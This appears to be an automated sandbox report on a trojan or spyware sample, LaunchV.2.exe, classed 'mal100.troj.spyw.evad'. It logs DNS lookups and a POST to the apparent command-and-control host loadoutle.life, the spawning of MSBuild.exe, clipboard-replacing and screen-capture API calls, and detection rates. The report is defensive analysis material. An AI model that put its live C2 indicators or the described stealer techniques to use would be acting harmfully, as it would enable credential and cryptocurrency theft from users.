Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: loadoutle.life
Source: global traffic	DNS traffic detected: DNS query: c.pki.goog

Source: unknown

HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: loadoutle.life

Source: MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/
Source: MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/._iz
Source: MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/Q_(z
Source: MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/__:z
Source: MSBuild.exe, 00000002.00000002.2428597989.0000000000F65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/kpLsOAm
Source: MSBuild.exe, 00000002.00000002.2428480805.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/kpLsOAm:
Source: MSBuild.exe, 00000002.00000002.2428597989.0000000000F65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/kpLsOAmE
Source: MSBuild.exe, 00000002.00000002.2428035583.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/kpLsOAme
Source: MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/u_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49719 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0043FF70 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

2_2_0043FF70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_03401000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

2_2_03401000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0043FF70 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

2_2_0043FF70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_004406C2 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_004406C2

Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E172EC	0_2_00007FF646E172EC
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DFD3F0	0_2_00007FF646DFD3F0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E01FA0	0_2_00007FF646E01FA0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E01BB0	0_2_00007FF646E01BB0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DF4790	0_2_00007FF646DF4790
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E11358	0_2_00007FF646E11358
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DF2B70	0_2_00007FF646DF2B70
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DFBB40	0_2_00007FF646DFBB40
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DFD920	0_2_00007FF646DFD920
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E008E0	0_2_00007FF646E008E0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E07880	0_2_00007FF646E07880
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E04060	0_2_00007FF646E04060
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DFF440	0_2_00007FF646DFF440
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E02450	0_2_00007FF646E02450
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E05E00	0_2_00007FF646E05E00
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E04DE0	0_2_00007FF646E04DE0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E051F0	0_2_00007FF646E051F0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E111D4	0_2_00007FF646E111D4
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DFDD60	0_2_00007FF646DFDD60
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E00170	0_2_00007FF646E00170
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E19708	0_2_00007FF646E19708
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DFF710	0_2_00007FF646DFF710
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DF6EE0	0_2_00007FF646DF6EE0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DFC2C0	0_2_00007FF646DFC2C0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DF3ED0	0_2_00007FF646DF3ED0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E05AD0	0_2_00007FF646E05AD0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E04AD0	0_2_00007FF646E04AD0
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E0A29C	0_2_00007FF646E0A29C
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E17A6C	0_2_00007FF646E17A6C
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646DF2640	0_2_00007FF646DF2640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00445140	2_2_00445140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00422100	2_2_00422100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040B990	2_2_0040B990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004182C0	2_2_004182C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00448BF0	2_2_00448BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00445380	2_2_00445380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044D3A0	2_2_0044D3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00438460	2_2_00438460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00428CA0	2_2_00428CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041C582	2_2_0041C582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042CE60	2_2_0042CE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00416637	2_2_00416637
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004306A0	2_2_004306A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00411EAA	2_2_00411EAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044DEB0	2_2_0044DEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041EF24	2_2_0041EF24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004137DF	2_2_004137DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044B783	2_2_0044B783
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00438FAC	2_2_00438FAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00401040	2_2_00401040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042105B	2_2_0042105B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00436830	2_2_00436830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044D830	2_2_0044D830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044C0DB	2_2_0044C0DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043D8E0	2_2_0043D8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004340E6	2_2_004340E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044C8F0	2_2_0044C8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040C890	2_2_0040C890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004448A0	2_2_004448A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041E0A8	2_2_0041E0A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042B947	2_2_0042B947
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00425160	2_2_00425160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00428110	2_2_00428110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043193D	2_2_0043193D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004491D0	2_2_004491D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004269E0	2_2_004269E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004109F3	2_2_004109F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043F9F0	2_2_0043F9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043C9F8	2_2_0043C9F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044C9B0	2_2_0044C9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044CA40	2_2_0044CA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043924D	2_2_0043924D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00438A51	2_2_00438A51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00438A6E	2_2_00438A6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042DA00	2_2_0042DA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00408A20	2_2_00408A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00438224	2_2_00438224
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042FAD0	2_2_0042FAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004462D0	2_2_004462D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00402AE0	2_2_00402AE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00421AE5	2_2_00421AE5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004172F5	2_2_004172F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00433AFF	2_2_00433AFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00424A82	2_2_00424A82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00432A87	2_2_00432A87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040A290	2_2_0040A290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040DA90	2_2_0040DA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00411290	2_2_00411290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044AA95	2_2_0044AA95
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041C582	2_2_0041C582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044DB50	2_2_0044DB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00428B57	2_2_00428B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041E360	2_2_0041E360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00444B00	2_2_00444B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042FB2B	2_2_0042FB2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004333C0	2_2_004333C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041CBC4	2_2_0041CBC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004393C4	2_2_004393C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040C440	2_2_0040C440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00425450	2_2_00425450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041FC79	2_2_0041FC79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042DC0A	2_2_0042DC0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040EC10	2_2_0040EC10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043FC20	2_2_0043FC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00420C32	2_2_00420C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042DC30	2_2_0042DC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044A43E	2_2_0044A43E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004034F0	2_2_004034F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00430CF0	2_2_00430CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004434F9	2_2_004434F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004094B0	2_2_004094B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00407D40	2_2_00407D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00425D40	2_2_00425D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00437555	2_2_00437555
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00436D66	2_2_00436D66
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00424500	2_2_00424500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00424A82	2_2_00424A82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00431D9C	2_2_00431D9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00439DA0	2_2_00439DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043D5B0	2_2_0043D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00417DBB	2_2_00417DBB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00446DBF	2_2_00446DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043BE43	2_2_0043BE43
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041DE50	2_2_0041DE50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00449660	2_2_00449660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044C670	2_2_0044C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00437678	2_2_00437678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040D620	2_2_0040D620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041D623	2_2_0041D623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00429E30	2_2_00429E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040FEF0	2_2_0040FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00430EF0	2_2_00430EF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00403E90	2_2_00403E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042F690	2_2_0042F690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044A6A9	2_2_0044A6A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042D6BB	2_2_0042D6BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044C750	2_2_0044C750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040CF70	2_2_0040CF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00404772	2_2_00404772
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00432F70	2_2_00432F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00406F76	2_2_00406F76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00432F08	2_2_00432F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00421710	2_2_00421710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00408F30	2_2_00408F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00445FD0	2_2_00445FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041F7F1	2_2_0041F7F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004297B0	2_2_004297B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040B280 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0041B880 appears 94 times

Source: LaunchV.2.exe

Static PE information: Section: .bss ZLIB complexity 1.000333325987306

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/0@2/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00445380 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00445380

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7616:120:WilError_03

Source: LaunchV.2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\LaunchV.2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LaunchV.2.exe	Virustotal: Detection: 38%
Source: LaunchV.2.exe	ReversingLabs: Detection: 38%

Source: C:\Users\user\Desktop\LaunchV.2.exe

File read: C:\Users\user\Desktop\LaunchV.2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\LaunchV.2.exe "C:\Users\user\Desktop\LaunchV.2.exe"
Source: C:\Users\user\Desktop\LaunchV.2.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LaunchV.2.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LaunchV.2.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\LaunchV.2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LaunchV.2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
